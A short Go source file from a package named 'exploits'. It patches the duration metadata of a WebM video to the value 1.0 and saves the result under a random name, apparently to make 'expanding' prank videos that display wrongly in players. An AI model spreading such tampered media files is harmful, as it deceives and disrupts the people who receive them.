package exploits

import (
	"bytes"
	"fmt"
	"io/ioutil"
	"os"
	"math/rand"
	"time"
)

// RunExpandingVideoTask edits file
func RunExpandingVideoTask(fileName string)  {

	data, err := ioutil.ReadFile(fileName)
	Check(err)
	index := bytes.Index(data, []byte("\x44\x89\x88"))
	if index == -1{
		fmt.Println("could not find the part of the file that needs to be modified, exiting")
		return
	}

	data[index+3] = 63
	data[index+4] = 240
	data[index+5] = 0
	data[index+6] = 0
	data[index+7] = 0
	data[index+8] = 0
	data[index+9] = 0
	data[index+10] = 0

	name := CreateName("webm")

	fmt.Println(name)

	ioutil.WriteFile(name, data, os.FileMode(int(0777)))

}

// CreateName generates a random file name
func CreateName(extension string) string {
	charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
	b := make([]byte, 6)
	rand.Seed(time.Now().Unix())
	for i := range b {
		b[i] = charset[rand.Intn(len(charset))]
	}
	return string(b)+"."+extension
}

// Check Error Handling
func Check(e error) {
	if e != nil {
		panic(e)
	}
}